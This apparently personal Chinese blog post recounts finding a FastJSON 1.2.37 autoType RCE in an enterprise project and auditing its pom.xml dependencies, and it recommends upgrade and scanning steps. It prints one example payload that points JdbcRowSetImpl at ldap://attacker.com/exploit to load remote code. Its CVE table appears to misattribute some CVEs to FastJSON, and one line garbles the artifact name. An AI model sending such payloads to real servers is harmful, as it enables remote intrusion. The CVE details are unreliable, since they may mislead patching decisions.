老炮踩坑录 · F03 · 翻车现场系列
· 基于「企业融合评估平台」真实源码,给整个 pom.xml 做一次安全 CT
· 关键词:FastJSON · autoType · RCE · CVE · 依赖安全 · pom.xml 体检
引子:安全扫描报告出来的那刻,我沉默了
2022 年下半年,公司接了个企业测评的单子。第三方安全机构拿着扫描器对着我们的系统扫了一圈,三天后报告就出来了。
安全工程师打电话过来,语气很客气的说:
"您好,我们检测到您的系统存在一个远程代码执行(RCE)漏洞,CVSS 评分 9.8,建议立即修复。"
我心想:不至于吧,Spring Boot 项目,能有什么 RCE?
拿到报告打开一看,傻眼了,漏洞描述写着:
text
漏洞名称:Alibaba FastJSON autoType 远程代码执行漏洞
风险等级:严重(CVSS 9.8)
影响版本:FastJSON < 1.2.68
当前版本:FastJSON 1.2.37
于是打开 pom.xml,搜了一下 fastjson:
xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.37</version>
</dependency>
1.2.37。 2018 年 5 月发布的版本。距离安全报告出具日,已经四年半没有更新了。
更扎心的是------我搜了一下整个项目的 Java 源码,import com.alibaba.fastjson 出现了 25 处,遍布登录、鉴权、报告生成、Session 缓存等核心链路。
也就是说,这个四年半没更新的 JSON 库,不是某个边缘模块在用------它是整个系统的 JSON 基础设施。
autoType 是什么?为什么能远程执行代码?
先看一段代码。项目里 LoginServiceImpl.java 的登录流程,有这么一行:
java
// LoginServiceImpl.java L248
String result = JSON.parseObject(resultMap.get("result").toString()).getString("data");
JSON.parseObject() 做的事情是:拿到一个 JSON 字符串,解析成 Java 对象。
正常情况下,JSON 长这样:
json
{"code": 200, "msg": "success", "data": {"username": "zhangsan"}}
解析出来就是一个 JSONObject,没什么问题。
但如果 JSON 长这样呢?
json
{"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com/exploit", "autoCommit": true}
注意这个 "@type" 字段。FastJSON 的 autoType 机制会这样做:
- 看到
@type,取出值com.sun.rowset.JdbcRowSetImpl - 用
Class.forName()加载这个类 - 根据 JSON 里的其他字段,调用对应的 setter 方法
setDataSourceName("ldap://attacker.com/exploit")→ JNDI 查找 → 连接攻击者的 LDAP 服务器 → 下载并执行恶意 class 文件
整个过程:一段 JSON 字符串 → 远程代码执行。
不需要认证,不需要任何特殊权限,只要你的接口接收 JSON 并且用了 FastJSON 解析。
这就是 autoType RCE 的完整攻击链。
1.2.37 有多脆弱?一张 CVE 清单
FastJSON 的 autoType 漏洞不是一个 CVE,而是一串。因为每修一次,安全研究员就找到新的绕过方式,形成了"打地鼠"式的攻防拉锯:
| CVE 编号 | 影响版本 | 绕过方式 | CVSS |
|---|---|---|---|
| CVE-2017-18349 | < 1.2.40 | 直接 @type 加载恶意类 |
9.8 |
| CVE-2019-17571 | < 1.2.68 | expectClass 绕过 autoType 黑名单 |
8.1 |
| CVE-2020-8840 | < 1.2.68 | autoType 绕过 + java.lang.Runtime 执行命令 |
9.8 |
| CVE-2022-25845 | < 1.2.83 | 通过 AutoCloseable 子类绕过 safeMode |
6.5 |
我们的 1.2.37,上面四个 CVE 全部命中。
不是"可能存在风险",是确定可以被远程攻击。
安全报告里写的那句话我现在还记得:
"当前版本 1.2.37 存在已知的远程代码执行漏洞,攻击者可通过构造恶意 JSON 请求实现服务器端任意代码执行,无需任何身份认证。"
给 pom.xml 做一次安全 CT
FastJSON 只是冰山一角。既然安全扫描已经开始了,我干脆把整个 pom.xml 拉出来做一次全面体检。
体检结果
| 依赖 | 当前版本 | 发布年份 | 最新稳定版(2022) | 风险等级 |
|---|---|---|---|---|
| fastjson | 1.2.37 | 2018 | 1.2.83 | 🔴 严重 |
| druid | 1.1.13 | 2019 | 1.2.16 | 🟡 中等 |
| guava | 20.0 | 2014 | 31.1 | 🟡 中等 |
| commons-fileupload | 1.3 | 2013 | 1.5 | 🔴 严重 |
| POI | 3.12 | 2015 | 5.2.3 | 🟡 中等 |
| Swagger | 2.9.2 | 2019 | 已停维护 | 🟠 过时 |
| Spring Boot | 2.1.0 | 2018 | 2.7.x / 3.x | 🔴 停维护 |
| commons-collections | 3.2.1 | 2015 | 已迁移到 org.apache.commons | 🟡 中等 |
| mysql-connector-java | 由 parent 管理 | --- | --- | 🟢 正常 |
9 个依赖,7 个有风险,3 个严重。
最刺眼的是两行:
commons-fileupload 1.3:2013 年的版本,存在 CVE-2023-24998(DoS 漏洞,CVSS 7.5)Spring Boot 2.1.0:2018 年的版本,2022 年 11 月已经彻底停止维护
这个项目不是在做开发,是在考古。
为什么没人更新?
原因很简单:当初能跑就行。
2022 年这个项目,是别人 2019 年搭建的骨架。当时 Spring Boot 2.1.0 还是"最新稳定版",FastJSON 1.2.37 是"经过验证的老版本"。没人会想到两年后这些版本全变成了安全漏洞。世上没有无 Bug 的系统,只有不断迭代升级的系统。
但 "没人想到" 不等于 "不会发生"。
项目里 FastJSON 到底怎么用的?
光说版本危险还远远不够,我们得看攻击面有多大。我扫了一遍整个项目的 FastJSON 使用场景:
场景一:HTTP 响应解析(攻击面:中)
java
// LoginServiceImpl.java L178
JSONObject jsonObject = JSON.parseObject(resultMap.get("result").toString());
这里是解析内部 HTTP 调用的返回值。数据来源是后端服务之间的通信,不是用户直接输入的。
攻击面中等------如果攻击者能劫持内部服务通信(比如同网段的一台被控机器),就可以注入恶意 JSON。
场景二:Session 反序列化(攻击面:低)
java
// SessionCacheUtils.java L173
return JSON.parseObject(userInfoObj.toString(), SysAccount.class);
这里用了 parseObject(String, Class) 的形式,指定了目标类型为 SysAccount.class。
表面上看,指定了 Class 似乎安全一些------FastJSON 会尝试把 JSON 映射到 SysAccount 的字段上。但在 1.2.37 版本中,如果 JSON 里嵌套了 @type 字段,即使外层指定了 Class,内层的 autoType 仍然会被触发。
场景三:全局 HTTP 消息转换器(攻击面:高)
java
// AutoConfiguration.java(导入部分)
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.alibaba.fastjson.support.config.FastJsonConfig;
import com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;
虽然当前 AutoConfiguration.java 里没有显式注册 FastJsonHttpMessageConverter 的 Bean,但这些 import 说明曾经配置过 。而且 Spring Boot 的自动配置机制会检测 classpath 上的 FastJSON------如果 spring.factories 里有注册,消息转换器可能默认就生效了。
这意味着:所有 @RequestBody 接收的 JSON 请求,都可能经过 FastJSON 解析。
如果真是这样,攻击面就是所有对外暴露的 API 接口。
场景四:JSON 序列化输出(攻击面:低)
java
// WebUtils.java L548
writeJson(response, JSON.toJSONString(object), MediaType.APPLICATION_JSON_UTF8_VALUE);
// AuthAspect.java L323
return JSON.toJSONString(fail);
toJSONString() 是序列化方向(Java 对象 → JSON 字符串),不涉及 autoType 反序列化。但 SerializerFeature 的某些配置(比如 WriteClassName)会在输出时写入 @type,为后续的反序列化攻击埋下种子。
攻击面汇总
| 使用场景 | 涉及文件 | 数据来源 | 攻击面 |
|---|---|---|---|
JSON.parseObject() |
LoginServiceImpl、SessionCacheUtils、EnterpriseRegistServiceImpl | 内部 HTTP 响应 / Session | 中 |
JSON.toJSON() |
ReportCapabilityServiceImpl、ReportMaturityServiceImpl | 数据库实体 | 低 |
JSON.toJSONString() |
WebUtils、AuthAspect、LoginServiceImpl | 内存对象序列化 | 低 |
| HTTP 消息转换器(疑似) | AutoConfiguration | 所有 API 请求体 | 高 |
结论:攻击面比想象的大。 如果 HTTP 消息转换器真的默认生效了,那每一个 POST 接口都是一个潜在的攻击入口。
怎么改?三步走
第一步:紧急止血------开启 SafeMode(5 分钟)
FastJSON 1.2.68 引入了 safeMode 模式,彻底禁用 autoType,不管黑白名单:
java
ParserConfig.getGlobalInstance().setSafeMode(true);
加在 Application.java 的 main() 方法里,第一行。
但问题是------1.2.37 没有 SafeMode。SafeMode 是 1.2.68 才加的。
所以对于 1.2.37,唯一的止血方案是:升级版本。
第二步:升级版本(30 分钟)
方案 A:升级到 FastJSON 1.2.83(1.x 最终版)
xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83_noneautotype</version>
</dependency>
注意 artifactId 是 fastjson1.2.83_noneautotype------这是官方发布的永久禁用 autoType 的版本,专门给不想折腾的老项目用。
改完 pom.xml,有跑一遍全量回归测试,确保所有 JSON 解析正常。
方案 B:迁移到 FastJSON 2.x
xml
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.40</version>
</dependency>
FastJSON 2 是完全重写的版本,默认禁用 autoType ,API 兼容 1.x(包名从 com.alibaba.fastjson 改为 com.alibaba.fastjson2)。
但迁移成本更高------25 处 import 要改,部分 API 有细微差异。
对于这个项目,我推荐方案 A:改动最小,风险最低,一行 pom.xml 修改就能解决。
第三步:给 pom.xml 建立安全巡检机制
升级 FastJSON 只是治标。真正要解决的是**"依赖几年没人管"**这个问题。
做法一:接入 OWASP Dependency-Check
xml
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>8.4.0</version>
<executions>
<execution>
<goals><goal>check</goal></goals>
</execution>
</executions>
</plugin>
每次 mvn package 自动扫描依赖的 CVE,有高危漏洞直接构建失败。
做法二:CI/CD 里加 Snyk / 阿里云制品扫描
如果用 Jenkins 或 GitLab CI,加一个安全扫描阶段,每次提交自动检测。
做法三:人工巡检------最低成本
每个月花 10 分钟,跑一次 mvn versions:display-dependency-updates,看看哪些依赖有新版本。不需要每个都升,但至少知道哪些是过时的。
FastJSON 的启示:选型一时爽,维护火葬场
回过头看,FastJSON 在这个项目里的问题不只是版本老------选它本身就是个值得讨论的问题。
为什么项目里同时有 FastJSON 和 Jackson?
看 pom.xml:
xml
<!-- FastJSON -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.37</version>
</dependency>
<!-- Jackson(Spring Boot 自带) -->
<dependency>
<groupId>com.fasterxml.jackson.datatype</groupId>
<artifactId>jackson-datatype-guava</artifactId>
<version>2.9.8</version>
</dependency>
Spring Boot 默认用 Jackson 做 JSON 序列化。项目又引入了 FastJSON。两套 JSON 库共存,到底谁在干活?
答案是:都在干。
- Spring MVC 的
@RequestBody/@ResponseBody默认走 Jackson - 业务代码里的
JSON.parseObject()/JSON.toJSONString()走 FastJSON - 如果
FastJsonHttpMessageConverter被注册了,Spring MVC 就走 FastJSON
两套库,两套配置,两套序列化行为。Long 型字段在 Jackson 里默认序列化成数字,在 FastJSON 里也是数字,但 Date 字段的格式、null 值的处理、循环引用的行为------全都不一样。
这就是选型不统一的代价:表面上两个库都能用,实际上没人说得清到底谁在什么时候起了作用。
老炮的建议
| 场景 | 推荐方案 |
|---|---|
| Spring Boot 项目 | 用 Jackson,Spring 原生,零额外依赖 |
| 高性能场景 | FastJSON 2.x(默认禁用 autoType) |
| 新项目 | Jackson 或 FastJSON 2,不要选 FastJSON 1.x |
| 老项目维护 | 升级到 FastJSON 1.2.83_noneautotype,然后排期迁移到 2.x |
这个坑给我的教训
教训一:依赖不是引入就完了,它是有生命周期的。
引入一个第三方库,就像招了一个员工------你得持续跟进它的版本更新、安全公告、社区活跃度。一个四年半没更新的依赖,就是一个四年半没人管的员工,指不定什么时候捅出篓子。
教训二:安全扫描不是走过场。
如果不是等保测评逼着扫了一遍,这个 FastJSON 1.2.37 不知道还要在项目里躺多久。它不报错、不抛异常、业务跑得欢------但漏洞就在那里,等着被利用。
教训三:选型时的"方便",都是维护时的"债务"。
FastJSON 的 API 确实比 Jackson 简洁------JSON.parseObject() 一行搞定,不用配 ObjectMapper。但当初省下的每一行代码,都变成了日后的维护成本。
pom.xml 安全巡检 Checklist
我们的项目上线前都应该对 pom.xml文件做一次安全漏洞检查,并修改出现的漏洞。
| 检查项 | 本项目状态 | 正确做法 |
|---|---|---|
| FastJSON 版本是否 ≥ 1.2.83 | ❌ 1.2.37 | 升级到 1.2.83_noneautotype |
| 是否开启 SafeMode 或禁用 autoType | ❌ 无 | ParserConfig.setSafeMode(true) |
| 是否存在多个 JSON 库共存 | ❌ FastJSON + Jackson | 统一为一个 |
| Spring Boot 是否在维护周期内 | ❌ 2.1.0 已停维护 | 升级到 2.7.x 或 3.x |
| 是否有依赖安全扫描机制 | ❌ 无 | OWASP Dependency-Check / Snyk |
| commons-fileupload 是否升级 | ❌ 1.3(2013 年) | 升级到 1.5 或换 Servlet 3.0 原生上传 |
下期预告:《我用 Executors 创建线程池,被阿里规约第一页打了脸》
我们把安全漏洞改完了,下一步该改代码了。
newFixedThreadPool(5)背后藏着一个无界队列,任务堆积,OOM 只是时间问题。阿里开发手册第一页就写了"禁止使用 Executors 创建线程池",这个项目偏偏全用了。下期我们讲讲这个项目里的线程池踩坑实录,以及
ThreadPoolExecutor的正确配置方式。
我是老炮,18 年 Java 老兵,仍在一线。如对您有点帮助,希望您点赞、收藏加关注。关注「Java老炮踩坑录」,不错过每一篇真实案例,少踩坑。